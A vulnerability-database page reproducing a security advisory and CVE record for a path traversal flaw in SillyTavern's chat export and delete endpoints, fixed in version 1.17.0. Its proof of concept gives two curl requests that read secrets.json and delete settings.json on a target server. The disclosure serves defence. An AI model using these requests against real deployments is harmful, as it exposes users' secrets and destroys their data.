Vulnerability-Lookup

GHSA-VPRR-Q85P-79MF

Vulnerability from github – Published: 2026-04-01 21:41 – Updated: 2026-04-01 21:41

Summary

SillyTavern: Path Traversal in `/api/chats/export` and `/api/chats/delete` allows arbitrary file read/delete within user data root

Details

Summary

A Path Traversal vulnerability in chat endpoints allows an authenticated attacker to read and delete arbitrary files under their user data root (for example secrets.json and settings.json) by supplying avatar_url="..".

Details

The input validator used by avatar_url blocks only / and NUL bytes, but does not block traversal segments like ...

Evidence: - Weak validator regex (does not reject ..):
https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/middleware/validateFileName.js#L24-L27 - Vulnerable delete path construction:
https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L575-L577 - Vulnerable export path construction:
https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L595-L598 - Endpoint auth context (authenticated user access):
https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/server-main.js#L239

Because avatar_url=".." is accepted, path.join(<user>/chats, "..") resolves to <user>/, enabling direct access to files outside the chats directory.

PoC

Prerequisites: - Valid authenticated session cookie (cookie.txt) - Valid CSRF token ($TOKEN)

Read sensitive file (secrets.json):

curl -b cookie.txt -H "x-csrf-token: $TOKEN" -H "content-type: application/json" \
  -d '{"avatar_url":"..","is_group":false,"file":"secrets.json","format":"jsonl","exportfilename":"x"}' \
  http://TARGET:8000/api/chats/export

Delete sensitive file (settings.json):

curl -b cookie.txt -H "x-csrf-token: $TOKEN" -H "content-type: application/json" \
  -d '{"avatar_url":"..","chatfile":"settings.json"}' \
  http://TARGET:8000/api/chats/delete

Impact

Confidentiality: exposed per-user secrets and config data.
Integrity/Availability: attacker can delete critical per-user files and break account operation.
Risk is significant in multi-user or remotely reachable deployments.

Resolution

The issue was addressed in version 1.17.0

Severity ?

8.3 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.16.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "sillytavern"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.17.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34524"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-01T21:41:48Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\nA Path Traversal vulnerability in chat endpoints allows an authenticated attacker to read and delete arbitrary files under their user data root (for example `secrets.json` and `settings.json`) by supplying `avatar_url=\"..\"`.\n\n### Details\nThe input validator used by `avatar_url` blocks only `/` and NUL bytes, but does not block traversal segments like `..`.\n\nEvidence:\n- Weak validator regex (does not reject `..`):  \n  \u003chttps://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/middleware/validateFileName.js#L24-L27\u003e\n- Vulnerable delete path construction:  \n  \u003chttps://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L575-L577\u003e\n- Vulnerable export path construction:  \n  \u003chttps://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L595-L598\u003e\n- Endpoint auth context (authenticated user access):  \n  \u003chttps://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/server-main.js#L239\u003e\n\nBecause `avatar_url=\"..\"` is accepted, `path.join(\u003cuser\u003e/chats, \"..\")` resolves to `\u003cuser\u003e/`, enabling direct access to files outside the chats directory.\n\n### PoC\nPrerequisites:\n- Valid authenticated session cookie (`cookie.txt`)\n- Valid CSRF token (`$TOKEN`)\n\nRead sensitive file (`secrets.json`):\n\n```bash\ncurl -b cookie.txt -H \"x-csrf-token: $TOKEN\" -H \"content-type: application/json\" \\\n  -d \u0027{\"avatar_url\":\"..\",\"is_group\":false,\"file\":\"secrets.json\",\"format\":\"jsonl\",\"exportfilename\":\"x\"}\u0027 \\\n  http://TARGET:8000/api/chats/export\n```\n\nDelete sensitive file (`settings.json`):\n\n```bash\ncurl -b cookie.txt -H \"x-csrf-token: $TOKEN\" -H \"content-type: application/json\" \\\n  -d \u0027{\"avatar_url\":\"..\",\"chatfile\":\"settings.json\"}\u0027 \\\n  http://TARGET:8000/api/chats/delete\n```\n\n### Impact\n- Confidentiality: exposed per-user secrets and config data.\n- Integrity/Availability: attacker can delete critical per-user files and break account operation.\n- Risk is significant in multi-user or remotely reachable deployments.\n\n### Resolution\n\nThe issue was addressed in version 1.17.0",
  "id": "GHSA-vprr-q85p-79mf",
  "modified": "2026-04-01T21:41:48Z",
  "published": "2026-04-01T21:41:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-vprr-q85p-79mf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/SillyTavern/SillyTavern"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SillyTavern: Path Traversal in `/api/chats/export` and `/api/chats/delete` allows arbitrary file read/delete within user data root"
}

CVE-2026-34524 (GCVE-0-2026-34524)

Vulnerability from cvelistv5 – Published: 2026-04-02 17:15 – Updated: 2026-04-03 18:12

Title

SillyTavern: Path traversal in `/api/chats/export` and `/api/chats/delete` allows arbitrary file read/delete within user data root

Summary

SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. Prior to version 1.17.0, a path traversal vulnerability in chat endpoints allows an authenticated attacker to read and delete arbitrary files under their user data root (for example secrets.json and settings.json) by supplying avatar_url="..". This issue has been patched in version 1.17.0.

Severity ?

8.3 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Assigner

GitHub_M

References

URL

Tags

	https://github.com/SillyTavern/SillyTavern/securi…	x_refsource_CONFIRM
	https://github.com/SillyTavern/SillyTavern/releas…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	SillyTavern	SillyTavern	Affected: < 1.17.0

Show details on NVD website

JSON

To clipboard

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          {
            "other": {
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                "id": "CVE-2026-34524",
                "options": [
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                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
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                "role": "CISA Coordinator",
                "timestamp": "2026-04-02T18:30:06.582826Z",
                "version": "2.0.3"
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          "shortName": "CISA-ADP"
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            "url": "https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-vprr-q85p-79mf"
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    "cna": {
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          "product": "SillyTavern",
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          "lang": "en",
          "value": "SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. Prior to version 1.17.0, a path traversal vulnerability in chat endpoints allows an authenticated attacker to read and delete arbitrary files under their user data root (for example secrets.json and settings.json) by supplying avatar_url=\"..\". This issue has been patched in version 1.17.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "LOW",
            "baseScore": 8.3,
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            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
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            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L",
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      "references": [
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        "discovery": "UNKNOWN"
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      "title": "SillyTavern: Path traversal in `/api/chats/export` and `/api/chats/delete` allows arbitrary file read/delete within user data root"
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    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-VPRR-Q85P-79MF

Summary

Details

PoC

Impact

Resolution

CVE-2026-34524 (GCVE-0-2026-34524)

Tags

Sightings

Nomenclature